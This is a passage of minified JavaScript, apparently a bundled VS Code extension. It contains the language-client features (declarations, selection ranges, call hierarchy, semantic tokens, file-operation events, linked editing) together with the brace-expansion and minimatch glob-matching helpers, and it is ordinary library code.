t={provideDeclaration:(n,i,s)=>{let a=this._client,l=(g,v,b)=>a.sendRequest(ml.DeclarationRequest.type,a.code2ProtocolConverter.asTextDocumentPositionParams(g,v),b).then(a.protocol2CodeConverter.asDeclarationResult,C=>a.handleFailedRequest(ml.DeclarationRequest.type,b,C,null)),u=a.clientOptions.middleware;return u.provideDeclaration?u.provideDeclaration(n,i,s,l):l(n,i,s)}};return[KE.languages.registerDeclarationProvider(e.documentSelector,t),t]}};Ua.DeclarationFeature=dv});var gv=F(Ka=>{"use strict";Object.defineProperty(Ka,"__esModule",{value:!0});Ka.SelectionRangeFeature=void 0;var VE=require("vscode"),vl=Be(),YE=ir();function hv(r,e){return r[e]===void 0&&(r[e]=Object.create(null)),r[e]}var pv=class extends YE.TextDocumentFeature{constructor(e){super(e,vl.SelectionRangeRequest.type)}fillClientCapabilities(e){let t=hv(hv(e,"textDocument"),"selectionRange");t.dynamicRegistration=!0}initialize(e,t){let[n,i]=this.getRegistration(t,e.selectionRangeProvider);!n||!i||this.register({id:n,registerOptions:i})}registerLanguageProvider(e){let t={provideSelectionRanges:(n,i,s)=>{let a=this._client,l=(g,v,b)=>{let C={textDocument:a.code2ProtocolConverter.asTextDocumentIdentifier(g),positions:a.code2ProtocolConverter.asPositions(v)};return a.sendRequest(vl.SelectionRangeRequest.type,C,b).then(w=>a.protocol2CodeConverter.asSelectionRanges(w),w=>a.handleFailedRequest(vl.SelectionRangeRequest.type,b,w,null))},u=a.clientOptions.middleware;return u.provideSelectionRanges?u.provideSelectionRanges(n,i,s,l):l(n,i,s)}};return[VE.languages.registerSelectionRangeProvider(e.documentSelector,t),t]}};Ka.SelectionRangeFeature=pv});var vv=F(Ga=>{"use strict";Object.defineProperty(Ga,"__esModule",{value:!0});Ga.ProgressFeature=void 0;var XE=Be(),QE=cl();function JE(r,e){return r[e]===void 0&&(r[e]=Object.create(null)),r[e]}var mv=class{constructor(e){this._client=e,this.activeParts=new Set}fillClientCapabilities(e){JE(e,"window").workDoneProgress=!0}initialize(){let e=this._client,t=i=>{this.activeParts.delete(i)},n=i=>{this.activeParts.add(new QE.ProgressPart(this._client,i.token,t))};e.onRequest(XE.WorkDoneProgressCreateRequest.type,n)}dispose(){for(let e of this.activeParts)e.done();this.activeParts.clear()}};Ga.ProgressFeature=mv});var Cv=F(Va=>{"use strict";Object.defineProperty(Va,"__esModule",{value:!0});Va.CallHierarchyFeature=void 0;var ZE=require("vscode"),di=Be(),ex=ir();function yv(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var bv=class{constructor(e){this.client=e,this.middleware=e.clientOptions.middleware}prepareCallHierarchy(e,t,n){let i=this.client,s=this.middleware,a=(l,u,g)=>{let v=i.code2ProtocolConverter.asTextDocumentPositionParams(l,u);return i.sendRequest(di.CallHierarchyPrepareRequest.type,v,g).then(b=>i.protocol2CodeConverter.asCallHierarchyItems(b),b=>i.handleFailedRequest(di.CallHierarchyPrepareRequest.type,g,b,null))};return s.prepareCallHierarchy?s.prepareCallHierarchy(e,t,n,a):a(e,t,n)}provideCallHierarchyIncomingCalls(e,t){let n=this.client,i=this.middleware,s=(a,l)=>{let u={item:n.code2ProtocolConverter.asCallHierarchyItem(a)};return n.sendRequest(di.CallHierarchyIncomingCallsRequest.type,u,l).then(g=>n.protocol2CodeConverter.asCallHierarchyIncomingCalls(g),g=>n.handleFailedRequest(di.CallHierarchyIncomingCallsRequest.type,l,g,null))};return i.provideCallHierarchyIncomingCalls?i.provideCallHierarchyIncomingCalls(e,t,s):s(e,t)}provideCallHierarchyOutgoingCalls(e,t){let n=this.client,i=this.middleware,s=(a,l)=>{let u={item:n.code2ProtocolConverter.asCallHierarchyItem(a)};return n.sendRequest(di.CallHierarchyOutgoingCallsRequest.type,u,l).then(g=>n.protocol2CodeConverter.asCallHierarchyOutgoingCalls(g),g=>n.handleFailedRequest(di.CallHierarchyOutgoingCallsRequest.type,l,g,null))};return i.provideCallHierarchyOutgoingCalls?i.provideCallHierarchyOutgoingCalls(e,t,s):s(e,t)}},wv=class extends ex.TextDocumentFeature{constructor(e){super(e,di.CallHierarchyPrepareRequest.type)}fillClientCapabilities(e){let n=yv(yv(e,"textDocument"),"callHierarchy");n.dynamicRegistration=!0}initialize(e,t){let[n,i]=this.getRegistration(t,e.callHierarchyProvider);!n||!i||this.register({id:n,registerOptions:i})}registerLanguageProvider(e){let t=this._client,n=new bv(t);return[ZE.languages.registerCallHierarchyProvider(e.documentSelector,n),n]}};Va.CallHierarchyFeature=wv});var _v=F(Qa=>{"use strict";Object.defineProperty(Qa,"__esModule",{value:!0});Qa.SemanticTokensFeature=void 0;var Ya=require("vscode"),tx=ir(),fe=Be(),rx=yn();function Xa(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var Rv=class extends tx.TextDocumentFeature{constructor(e){super(e,fe.SemanticTokensRegistrationType.type)}fillClientCapabilities(e){let t=Xa(Xa(e,"textDocument"),"semanticTokens");t.dynamicRegistration=!0,t.tokenTypes=[fe.SemanticTokenTypes.namespace,fe.SemanticTokenTypes.type,fe.SemanticTokenTypes.class,fe.SemanticTokenTypes.enum,fe.SemanticTokenTypes.interface,fe.SemanticTokenTypes.struct,fe.SemanticTokenTypes.typeParameter,fe.SemanticTokenTypes.parameter,fe.SemanticTokenTypes.variable,fe.SemanticTokenTypes.property,fe.SemanticTokenTypes.enumMember,fe.SemanticTokenTypes.event,fe.SemanticTokenTypes.function,fe.SemanticTokenTypes.method,fe.SemanticTokenTypes.macro,fe.SemanticTokenTypes.keyword,fe.SemanticTokenTypes.modifier,fe.SemanticTokenTypes.comment,fe.SemanticTokenTypes.string,fe.SemanticTokenTypes.number,fe.SemanticTokenTypes.regexp,fe.SemanticTokenTypes.operator],t.tokenModifiers=[fe.SemanticTokenModifiers.declaration,fe.SemanticTokenModifiers.definition,fe.SemanticTokenModifiers.readonly,fe.SemanticTokenModifiers.static,fe.SemanticTokenModifiers.deprecated,fe.SemanticTokenModifiers.abstract,fe.SemanticTokenModifiers.async,fe.SemanticTokenModifiers.modification,fe.SemanticTokenModifiers.documentation,fe.SemanticTokenModifiers.defaultLibrary],t.formats=[fe.TokenFormat.Relative],t.requests={range:!0,full:{delta:!0}},t.multilineTokenSupport=!1,t.overlappingTokenSupport=!1,Xa(Xa(e,"workspace"),"semanticTokens").refreshSupport=!0}initialize(e,t){this._client.onRequest(fe.SemanticTokensRefreshRequest.type,async()=>{for(let a of this.getAllProviders())a.onDidChangeSemanticTokensEmitter.fire()});let[i,s]=this.getRegistration(t,e.semanticTokensProvider);!i||!s||this.register({id:i,registerOptions:s})}registerLanguageProvider(e){let t=rx.boolean(e.full)?e.full:e.full!==void 0,n=e.full!==void 0&&typeof e.full!="boolean"&&e.full.delta===!0,i=new Ya.EventEmitter,s=t?{onDidChangeSemanticTokens:i.event,provideDocumentSemanticTokens:(b,C)=>{let w=this._client,E=w.clientOptions.middleware,q=(N,A)=>{let H={textDocument:w.code2ProtocolConverter.asTextDocumentIdentifier(N)};return w.sendRequest(fe.SemanticTokensRequest.type,H,A).then(O=>w.protocol2CodeConverter.asSemanticTokens(O),O=>w.handleFailedRequest(fe.SemanticTokensRequest.type,A,O,null))};return E.provideDocumentSemanticTokens?E.provideDocumentSemanticTokens(b,C,q):q(b,C)},provideDocumentSemanticTokensEdits:n?(b,C,w)=>{let E=this._client,q=E.clientOptions.middleware,N=(A,H,O)=>{let z={textDocument:E.code2ProtocolConverter.asTextDocumentIdentifier(A),previousResultId:H};return E.sendRequest(fe.SemanticTokensDeltaRequest.type,z,O).then(M=>fe.SemanticTokens.is(M)?E.protocol2CodeConverter.asSemanticTokens(M):E.protocol2CodeConverter.asSemanticTokensEdits(M),M=>E.handleFailedRequest(fe.SemanticTokensDeltaRequest.type,O,M,null))};return q.provideDocumentSemanticTokensEdits?q.provideDocumentSemanticTokensEdits(b,C,w,N):N(b,C,w)}:void 0}:void 0,l=e.range===!0?{provideDocumentRangeSemanticTokens:(b,C,w)=>{let E=this._client,q=E.clientOptions.middleware,N=(A,H,O)=>{let z={textDocument:E.code2ProtocolConverter.asTextDocumentIdentifier(A),range:E.code2ProtocolConverter.asRange(H)};return E.sendRequest(fe.SemanticTokensRangeRequest.type,z,O).then(M=>E.protocol2CodeConverter.asSemanticTokens(M),M=>E.handleFailedRequest(fe.SemanticTokensRangeRequest.type,O,M,null))};return q.provideDocumentRangeSemanticTokens?q.provideDocumentRangeSemanticTokens(b,C,w,N):N(b,C,w)}}:void 0,u=[],v=this._client.protocol2CodeConverter.asSemanticTokensLegend(e.legend);return s!==void 0&&u.push(Ya.languages.registerDocumentSemanticTokensProvider(e.documentSelector,s,v)),l!==void 0&&u.push(Ya.languages.registerDocumentRangeSemanticTokensProvider(e.documentSelector,l,v)),[new Ya.Disposable(()=>u.forEach(b=>b.dispose())),{range:l,full:s,onDidChangeSemanticTokensEmitter:i}]}};Qa.SemanticTokensFeature=Rv});var Tv=F((BO,Sv)=>{Sv.exports=function(r,e){for(var t=[],n=0;n<r.length;n++){var i=e(r[n],n);nx(i)?t.push.apply(t,i):t.push(i)}return t};var nx=Array.isArray||function(r){return Object.prototype.toString.call(r)==="[object Array]"}});var kv=F((UO,xv)=>{"use strict";xv.exports=Pv;function Pv(r,e,t){r instanceof RegExp&&(r=Dv(r,t)),e instanceof RegExp&&(e=Dv(e,t));var n=Ev(r,e,t);return n&&{start:n[0],end:n[1],pre:t.slice(0,n[0]),body:t.slice(n[0]+r.length,n[1]),post:t.slice(n[1]+e.length)}}function Dv(r,e){var t=e.match(r);return t?t[0]:null}Pv.range=Ev;function Ev(r,e,t){var n,i,s,a,l,u=t.indexOf(r),g=t.indexOf(e,u+1),v=u;if(u>=0&&g>0){if(r===e)return[u,g];for(n=[],s=t.length;v>=0&&!l;)v==u?(n.push(v),u=t.indexOf(r,v+1)):n.length==1?l=[n.pop(),g]:(i=n.pop(),i<s&&(s=i,a=g),g=t.indexOf(e,v+1)),v=u<g&&u>=0?u:g;n.length&&(l=[s,a])}return l}});var Mv=F((KO,Nv)=>{var ix=Tv(),qv=kv();Nv.exports=ax;var Ov="\0SLASH"+Math.random()+"\0",Av="\0OPEN"+Math.random()+"\0",yl="\0CLOSE"+Math.random()+"\0",Fv="\0COMMA"+Math.random()+"\0",Iv="\0PERIOD"+Math.random()+"\0";function bl(r){return parseInt(r,10)==r?parseInt(r,10):r.charCodeAt(0)}function ox(r){return r.split("\\\\").join(Ov).split("\\{").join(Av).split("\\}").join(yl).split("\\,").join(Fv).split("\\.").join(Iv)}function sx(r){return r.split(Ov).join("\\").split(Av).join("{").split(yl).join("}").split(Fv).join(",").split(Iv).join(".")}function Lv(r){if(!r)return[""];var e=[],t=qv("{","}",r);if(!t)return r.split(",");var n=t.pre,i=t.body,s=t.post,a=n.split(",");a[a.length-1]+="{"+i+"}";var l=Lv(s);return s.length&&(a[a.length-1]+=l.shift(),a.push.apply(a,l)),e.push.apply(e,a),e}function ax(r){return r?(r.substr(0,2)==="{}"&&(r="\\{\\}"+r.substr(2)),Qi(ox(r),!0).map(sx)):[]}function cx(r){return"{"+r+"}"}function ux(r){return/^-?0\d/.test(r)}function lx(r,e){return r<=e}function dx(r,e){return r>=e}function Qi(r,e){var t=[],n=qv("{","}",r);if(!n||/\$$/.test(n.pre))return[r];var i=/^-?\d+\.\.-?\d+(?:\.\.-?\d+)?$/.test(n.body),s=/^[a-zA-Z]\.\.[a-zA-Z](?:\.\.-?\d+)?$/.test(n.body),a=i||s,l=n.body.indexOf(",")>=0;if(!a&&!l)return n.post.match(/,.*\}/)?(r=n.pre+"{"+n.body+yl+n.post,Qi(r)):[r];var u;if(a)u=n.body.split(/\.\./);else if(u=Lv(n.body),u.length===1&&(u=Qi(u[0],!1).map(cx),u.length===1)){var v=n.post.length?Qi(n.post,!1):[""];return v.map(function(je){return n.pre+u[0]+je})}var g=n.pre,v=n.post.length?Qi(n.post,!1):[""],b;if(a){var C=bl(u[0]),w=bl(u[1]),E=Math.max(u[0].length,u[1].length),q=u.length==3?Math.abs(bl(u[2])):1,N=lx,A=w<C;A&&(q*=-1,N=dx);var H=u.some(ux);b=[];for(var O=C;N(O,w);O+=q){var z;if(s)z=String.fromCharCode(O),z==="\\"&&(z="");else if(z=String(O),H){var M=E-z.length;if(M>0){var G=new Array(M+1).join("0");O<0?z="-"+G+z.slice(1):z=G+z}}b.push(z)}}else b=ix(u,function(Je){return Qi(Je,!1)});for(var X=0;X<b.length;X++)for(var _e=0;_e<v.length;_e++){var Ae=g+b[X]+v[_e];(!e||a||Ae)&&t.push(Ae)}return t}});var Uv=F((GO,Bv)=>{Bv.exports=Er;Er.Minimatch=Ct;var ls={sep:"/"};try{ls=require("path")}catch{}var wl=Er.GLOBSTAR=Ct.GLOBSTAR={},fx=Mv(),jv={"!":{open:"(?:(?!(?:",close:"))[^/]*?)"},"?":{open:"(?:",close:")?"},"+":{open:"(?:",close:")+"},"*":{open:"(?:",close:")*"},"@":{open:"(?:",close:")"}},Cl="[^/]",Rl=Cl+"*?",hx="(?:(?!(?:\\/|^)(?:\\.{1,2})($|\\/)).)*?",px="(?:(?!(?:\\/|^)\\.).)*?",$v=gx("().*{}+?[]^$\\!");function gx(r){return r.split("").reduce(function(e,t){return e[t]=!0,e},{})}var Wv=/\/+/;Er.filter=mx;function mx(r,e){return e=e||{},function(t,n,i){return Er(t,r,e)}}function Hv(r,e){r=r||{},e=e||{};var t={};return Object.keys(e).forEach(function(n){t[n]=e[n]}),Object.keys(r).forEach(function(n){t[n]=r[n]}),t}Er.defaults=function(r){if(!r||!Object.keys(r).length)return Er;var e=Er,t=function(i,s,a){return e.minimatch(i,s,Hv(r,a))};return t.Minimatch=function(i,s){return new e.Minimatch(i,Hv(r,s))},t};Ct.defaults=function(r){return!r||!Object.keys(r).length?Ct:Er.defaults(r).Minimatch};function Er(r,e,t){if(typeof e!="string")throw new TypeError("glob pattern string required");return t||(t={}),!t.nocomment&&e.charAt(0)==="#"?!1:e.trim()===""?r==="":new Ct(e,t).match(r)}function Ct(r,e){if(!(this instanceof Ct))return new Ct(r,e);if(typeof r!="string")throw new TypeError("glob pattern string required");e||(e={}),r=r.trim(),ls.sep!=="/"&&(r=r.split(ls.sep).join("/")),this.options=e,this.set=[],this.pattern=r,this.regexp=null,this.negate=!1,this.comment=!1,this.empty=!1,this.make()}Ct.prototype.debug=function(){};Ct.prototype.make=vx;function vx(){if(!this._made){var r=this.pattern,e=this.options;if(!e.nocomment&&r.charAt(0)==="#"){this.comment=!0;return}if(!r){this.empty=!0;return}this.parseNegate();var t=this.globSet=this.braceExpand();e.debug&&(this.debug=console.error),this.debug(this.pattern,t),t=this.globParts=t.map(function(n){return n.split(Wv)}),this.debug(this.pattern,t),t=t.map(function(n,i,s){return n.map(this.parse,this)},this),this.debug(this.pattern,t),t=t.filter(function(n){return n.indexOf(!1)===-1}),this.debug(this.pattern,t),this.set=t}}Ct.prototype.parseNegate=yx;function yx(){var r=this.pattern,e=!1,t=this.options,n=0;if(!t.nonegate){for(var i=0,s=r.length;i<s&&r.charAt(i)==="!";i++)e=!e,n++;n&&(this.pattern=r.substr(n)),this.negate=e}}Er.braceExpand=function(r,e){return zv(r,e)};Ct.prototype.braceExpand=zv;function zv(r,e){if(e||(this instanceof Ct?e=this.options:e={}),r=typeof r=="undefined"?this.pattern:r,typeof r=="undefined")throw new TypeError("undefined pattern");return e.nobrace||!r.match(/\{.*\}/)?[r]:fx(r)}Ct.prototype.parse=bx;var Ja={};function bx(r,e){if(r.length>1024*64)throw new TypeError("pattern is too long");var t=this.options;if(!t.noglobstar&&r==="**")return wl;if(r==="")return"";var n="",i=!!t.nocase,s=!1,a=[],l=[],u,g=!1,v=-1,b=-1,C=r.charAt(0)==="."?"":t.dot?"(?!(?:^|\\/)\\.{1,2}(?:$|\\/))":"(?!\\.)",w=this;function E(){if(u){switch(u){case"*":n+=Rl,i=!0;break;case"?":n+=Cl,i=!0;break;default:n+="\\"+u;break}w.debug("clearStateChar %j %j",u,n),u=!1}}for(var q=0,N=r.length,A;q<N&&(A=r.charAt(q));q++){if(this.debug("%s %s %s %j",r,q,n,A),s&&$v[A]){n+="\\"+A,s=!1;continue}switch(A){case"/":return!1;case"\\":E(),s=!0;continue;case"?":case"*":case"+":case"@":case"!":if(this.debug("%s %s %s %j <-- stateChar",r,q,n,A),g){this.debug(" in class"),A==="!"&&q===b+1&&(A="^"),n+=A;continue}w.debug("call clearStateChar %j",u),E(),u=A,t.noext&&E();continue;case"(":if(g){n+="(";continue}if(!u){n+="\\(";continue}a.push({type:u,start:q-1,reStart:n.length,open:jv[u].open,close:jv[u].close}),n+=u==="!"?"(?:(?!(?:":"(?:",this.debug("plType %j %j",u,n),u=!1;continue;case")":if(g||!a.length){n+="\\)";continue}E(),i=!0;var H=a.pop();n+=H.close,H.type==="!"&&l.push(H),H.reEnd=n.length;continue;case"|":if(g||!a.length||s){n+="\\|",s=!1;continue}E(),n+="|";continue;case"[":if(E(),g){n+="\\"+A;continue}g=!0,b=q,v=n.length,n+=A;continue;case"]":if(q===b+1||!g){n+="\\"+A,s=!1;continue}if(g){var O=r.substring(b+1,q);try{RegExp("["+O+"]")}catch{var z=this.parse(O,Ja);n=n.substr(0,v)+"\\["+z[0]+"\\]",i=i||z[1],g=!1;continue}}i=!0,g=!1,n+=A;continue;default:E(),s?s=!1:$v[A]&&!(A==="^"&&g)&&(n+="\\"),n+=A}}for(g&&(O=r.substr(b+1),z=this.parse(O,Ja),n=n.substr(0,v)+"\\["+z[0],i=i||z[1]),H=a.pop();H;H=a.pop()){var M=n.slice(H.reStart+H.open.length);this.debug("setting tail",n,H),M=M.replace(/((?:\\{2}){0,64})(\\?)\|/g,function(ut,Pt,Ot){return Ot||(Ot="\\"),Pt+Pt+Ot+"|"}),this.debug(`tail=%j
%s`,M,M,H,n);var G=H.type==="*"?Rl:H.type==="?"?Cl:"\\"+H.type;i=!0,n=n.slice(0,H.reStart)+G+"\\("+M}E(),s&&(n+="\\\\");var X=!1;switch(n.charAt(0)){case".":case"[":case"(":X=!0}for(var _e=l.length-1;_e>-1;_e--){var Ae=l[_e],Je=n.slice(0,Ae.reStart),je=n.slice(Ae.reStart,Ae.reEnd-8),Fe=n.slice(Ae.reEnd-8,Ae.reEnd),ct=n.slice(Ae.reEnd);Fe+=ct;var St=Je.split("(").length-1,Tt=ct;for(q=0;q<St;q++)Tt=Tt.replace(/\)[+*?]?/,"");ct=Tt;var Wt="";ct===""&&e!==Ja&&(Wt="$");var $e=Je+je+ct+Wt+Fe;n=$e}if(n!==""&&i&&(n="(?=.)"+n),X&&(n=C+n),e===Ja)return[n,i];if(!i)return Rx(r);var gt=t.nocase?"i":"";try{var mt=new RegExp("^"+n+"$",gt)}catch{return new RegExp("$.")}return mt._glob=r,mt._src=n,mt}Er.makeRe=function(r,e){return new Ct(r,e||{}).makeRe()};Ct.prototype.makeRe=wx;function wx(){if(this.regexp||this.regexp===!1)return this.regexp;var r=this.set;if(!r.length)return this.regexp=!1,this.regexp;var e=this.options,t=e.noglobstar?Rl:e.dot?hx:px,n=e.nocase?"i":"",i=r.map(function(s){return s.map(function(a){return a===wl?t:typeof a=="string"?_x(a):a._src}).join("\\/")}).join("|");i="^(?:"+i+")$",this.negate&&(i="^(?!"+i+").*$");try{this.regexp=new RegExp(i,n)}catch{this.regexp=!1}return this.regexp}Er.match=function(r,e,t){t=t||{};var n=new Ct(e,t);return r=r.filter(function(i){return n.match(i)}),n.options.nonull&&!r.length&&r.push(e),r};Ct.prototype.match=Cx;function Cx(r,e){if(this.debug("match",r,this.pattern),this.comment)return!1;if(this.empty)return r==="";if(r==="/"&&e)return!0;var t=this.options;ls.sep!=="/"&&(r=r.split(ls.sep).join("/")),r=r.split(Wv),this.debug(this.pattern,"split",r);var n=this.set;this.debug(this.pattern,"set",n);var i,s;for(s=r.length-1;s>=0&&(i=r[s],!i);s--);for(s=0;s<n.length;s++){var a=n[s],l=r;t.matchBase&&a.length===1&&(l=[i]);var u=this.matchOne(l,a,e);if(u)return t.flipNegate?!0:!this.negate}return t.flipNegate?!1:this.negate}Ct.prototype.matchOne=function(r,e,t){var n=this.options;this.debug("matchOne",{this:this,file:r,pattern:e}),this.debug("matchOne",r.length,e.length);for(var i=0,s=0,a=r.length,l=e.length;i<a&&s<l;i++,s++){this.debug("matchOne loop");var u=e[s],g=r[i];if(this.debug(e,u,g),u===!1)return!1;if(u===wl){this.debug("GLOBSTAR",[e,u,g]);var v=i,b=s+1;if(b===l){for(this.debug("** at the end");i<a;i++)if(r[i]==="."||r[i]===".."||!n.dot&&r[i].charAt(0)===".")return!1;return!0}for(;v<a;){var C=r[v];if(this.debug(`
globstar while`,r,v,e,b,C),this.matchOne(r.slice(v),e.slice(b),t))return this.debug("globstar found match!",v,a,C),!0;if(C==="."||C===".."||!n.dot&&C.charAt(0)==="."){this.debug("dot detected!",r,v,e,b);break}this.debug("globstar swallow a segment, and continue"),v++}return!!(t&&(this.debug(`
>>> no match, partial?`,r,v,e,b),v===a))}var w;if(typeof u=="string"?(n.nocase?w=g.toLowerCase()===u.toLowerCase():w=g===u,this.debug("string match",u,g,w)):(w=g.match(u),this.debug("pattern match",u,g,w)),!w)return!1}if(i===a&&s===l)return!0;if(i===a)return t;if(s===l){var E=i===a-1&&r[i]==="";return E}throw new Error("wtf?")};function Rx(r){return r.replace(/\\(.)/g,"$1")}function _x(r){return r.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")}});var ey=F(or=>{"use strict";Object.defineProperty(or,"__esModule",{value:!0});or.WillDeleteFilesFeature=or.WillRenameFilesFeature=or.WillCreateFilesFeature=or.DidDeleteFilesFeature=or.DidRenameFilesFeature=or.DidCreateFilesFeature=void 0;var sn=require("vscode"),Sx=Uv(),_n=Be(),Tx=is();function Kv(r,e){return r[e]===void 0&&(r[e]={}),r[e]}function Px(r,e){return r[e]}function Gv(r,e,t){r[e]=t}var fi=class{constructor(e,t,n,i,s){this._filters=new Map,this._client=e,this._event=t,this._registrationType=n,this._clientCapability=i,this._serverCapability=s}get registrationType(){return this._registrationType}fillClientCapabilities(e){let t=Kv(Kv(e,"workspace"),"fileOperations");Gv(t,"dynamicRegistration",!0),Gv(t,this._clientCapability,!0)}initialize(e){var t;let n=(t=e.workspace)===null||t===void 0?void 0:t.fileOperations,i=n!==void 0?Px(n,this._serverCapability):void 0;if((i==null?void 0:i.filters)!==void 0)try{this.register({id:Tx.generateUuid(),registerOptions:{filters:i.filters}})}catch(s){this._client.warn(`Ignoring invalid glob pattern for ${this._serverCapability} registration: ${s}`)}}register(e){this._listener||(this._listener=this._event(this.send,this));let t=e.registerOptions.filters.map(n=>{let i=new Sx.Minimatch(n.pattern.glob,fi.asMinimatchOptions(n.pattern.options));if(!i.makeRe())throw new Error(`Invalid pattern ${n.pattern.glob}!`);return{scheme:n.scheme,matcher:i,kind:n.pattern.matches}});this._filters.set(e.id,t)}unregister(e){this._filters.delete(e),this._filters.size===0&&this._listener&&(this._listener.dispose(),this._listener=void 0)}dispose(){this._filters.clear(),this._listener&&(this._listener.dispose(),this._listener=void 0)}async filter(e,t){let n=await Promise.all(e.files.map(async s=>{let a=t(s),l=a.fsPath.replace(/\\/g,"/");for(let u of this._filters.values())for(let g of u)if(!(g.scheme!==void 0&&g.scheme!==a.scheme)){if(g.matcher.match(l)){if(g.kind===void 0)return!0;let v=await fi.getFileType(a);if(v===void 0)return this._client.error(`Failed to determine file type for ${a.toString()}.`),!0;if(v===sn.FileType.File&&g.kind===_n.FileOperationPatternKind.file||v===sn.FileType.Directory&&g.kind===_n.FileOperationPatternKind.folder)return!0}else if(g.kind===_n.FileOperationPatternKind.folder&&await fi.getFileType(a)===sn.FileType.Directory&&g.matcher.match(`${l}/`))return!0}return!1})),i=e.files.filter((s,a)=>n[a]);return Object.assign(Object.assign({},e),{files:i})}static async getFileType(e){try{return(await sn.workspace.fs.stat(e)).type}catch{return}}static asMinimatchOptions(e){if(e!==void 0&&e.ignoreCase===!0)return{nocase:!0}}},Za=class extends fi{constructor(e,t,n,i,s,a,l){super(e,t,n,i,s);this._notificationType=n,this._accessUri=a,this._createParams=l}async send(e){let t=await this.filter(e,this._accessUri);if(t.files.length){let n=async i=>this._client.sendNotification(this._notificationType,this._createParams(i));this.doSend(t,n)}}},Vv=class extends Za{constructor(e){super(e,sn.workspace.onDidCreateFiles,_n.DidCreateFilesNotification.type,"didCreate","didCreate",t=>t,e.code2ProtocolConverter.asDidCreateFilesParams)}doSend(e,t){var n;let i=(n=this._client.clientOptions.middleware)===null||n===void 0?void 0:n.workspace;return(i==null?void 0:i.didCreateFiles)?i.didCreateFiles(e,t):t(e)}};or.DidCreateFilesFeature=Vv;var Yv=class extends Za{constructor(e){super(e,sn.workspace.onDidRenameFiles,_n.DidRenameFilesNotification.type,"didRename","didRename",t=>t.oldUri,e.code2ProtocolConverter.asDidRenameFilesParams)}doSend(e,t){var n;let i=(n=this._client.clientOptions.middleware)===null||n===void 0?void 0:n.workspace;return(i==null?void 0:i.didRenameFiles)?i.didRenameFiles(e,t):t(e)}};or.DidRenameFilesFeature=Yv;var Xv=class extends Za{constructor(e){super(e,sn.workspace.onDidDeleteFiles,_n.DidDeleteFilesNotification.type,"didDelete","didDelete",t=>t,e.code2ProtocolConverter.asDidDeleteFilesParams)}doSend(e,t){var n;let i=(n=this._client.clientOptions.middleware)===null||n===void 0?void 0:n.workspace;return(i==null?void 0:i.didDeleteFiles)?i.didDeleteFiles(e,t):t(e)}};or.DidDeleteFilesFeature=Xv;var ec=class extends fi{constructor(e,t,n,i,s,a,l){super(e,t,n,i,s);this._requestType=n,this._accessUri=a,this._createParams=l}async send(e){let t=this.waitUntil(e);e.waitUntil(t)}async waitUntil(e){let t=await this.filter(e,this._accessUri);if(t.files.length){let n=i=>this._client.sendRequest(this._requestType,this._createParams(i)).then(this._client.protocol2CodeConverter.asWorkspaceEdit);return this.doSend(t,n)}else return}},Qv=class extends ec{constructor(e){super(e,sn.workspace.onWillCreateFiles,_n.WillCreateFilesRequest.type,"willCreate","willCreate",t=>t,e.code2ProtocolConverter.asWillCreateFilesParams)}doSend(e,t){var n;let i=(n=this._client.clientOptions.middleware)===null||n===void 0?void 0:n.workspace;return(i==null?void 0:i.willCreateFiles)?i.willCreateFiles(e,t):t(e)}};or.WillCreateFilesFeature=Qv;var Jv=class extends ec{constructor(e){super(e,sn.workspace.onWillRenameFiles,_n.WillRenameFilesRequest.type,"willRename","willRename",t=>t.oldUri,e.code2ProtocolConverter.asWillRenameFilesParams)}doSend(e,t){var n;let i=(n=this._client.clientOptions.middleware)===null||n===void 0?void 0:n.workspace;return(i==null?void 0:i.willRenameFiles)?i.willRenameFiles(e,t):t(e)}};or.WillRenameFilesFeature=Jv;var Zv=class extends ec{constructor(e){super(e,sn.workspace.onWillDeleteFiles,_n.WillDeleteFilesRequest.type,"willDelete","willDelete",t=>t,e.code2ProtocolConverter.asWillDeleteFilesParams)}doSend(e,t){var n;let i=(n=this._client.clientOptions.middleware)===null||n===void 0?void 0:n.workspace;return(i==null?void 0:i.willDeleteFiles)?i.willDeleteFiles(e,t):t(e)}};or.WillDeleteFilesFeature=Zv});var ny=F(tc=>{"use strict";Object.defineProperty(tc,"__esModule",{value:!0});tc.LinkedEditingFeature=void 0;var Dx=require("vscode"),_l=Be(),Ex=ir();function ty(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var ry=class extends Ex.TextDocumentFeature{constructor(e){super(e,_l.LinkedEditingRangeRequest.type)}fillClientCapabilities(e){let t=ty(ty(e,"textDocument"),"linkedEditingRange");t.dynamicRegistration=!0}initialize(e,t){let[n,i]=this.getRegistration(t,e.linkedEditingRangeProvider);!n||!i||this.register({id:n,registerOptions:i})}registerLanguageProvider(e){let t={provideLinkedEditingRanges:(n,i,s)=>{let a=this._client,l=(g,v,b)=>a.sendRequest(_l.LinkedEditingRangeRequest.type,a.code2ProtocolConverter.asTextDocumentPositionParams(g,v),b).then(a.protocol2CodeConverter.asLinkedEditingRanges,C=>a.handleFailedRequest(_l.LinkedEditingRangeRequest.type,b,C,null)),u=a.clientOptions.middleware;return u.provideLinkedEditingRange?u.provideLinkedEditingRange(n,i,s,l):l(n,i,s)}};return[Dx.languages.registerLinkedEditingRangeProvider(e.documentSelector,t),t]}};tc.LinkedEditingFeature=ry});var dy=F(hi=>{"use strict";Object.defineProperty(hi,"__esModule",{value:!0});hi.DiagnosticFeature=hi.vsdiag=void 0;var Xt=require("vscode"),tt=Be(),xx=is(),ds=ir();function iy(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var an;(function(r){let e;(function(t){t.full="full",t.unChanged="unChanged"})(e=r.DocumentDiagnosticReportKind||(r.DocumentDiagnosticReportKind={}))})(an=hi.vsdiag||(hi.vsdiag={}));var jt;(function(r){r.active="open",r.reschedule="reschedule",r.outDated="drop"})(jt||(jt={}));var oy=class{constructor(){this.open=new Set;let e=()=>{this.open.clear();for(let t of Xt.window.openEditors)this.open.add(t.resource.toString())};e(),this.disposable=Xt.window.onDidChangeOpenEditors(e)}dispose(){this.disposable.dispose()}isActive(e){var t;return((t=Xt.window.activeTextEditor)===null||t===void 0?void 0:t.document)===e}isVisible(e){return this.open.has(e.uri.toString())}},lr;(function(r){r[r.document=1]="document",r[r.workspace=2]="workspace"})(lr||(lr={}));var sy=class{constructor(){this.documentPullStates=new Map,this.workspacePullStates=new Map}track(e,t,n,i){let s=e===lr.document?this.documentPullStates:this.workspacePullStates,[a,l,u,g]=typeof t=="string"?[t,Xt.Uri.parse(t),n,i]:[t.uri.toString(),t.uri,t.version,n],v=s.get(a);return v===void 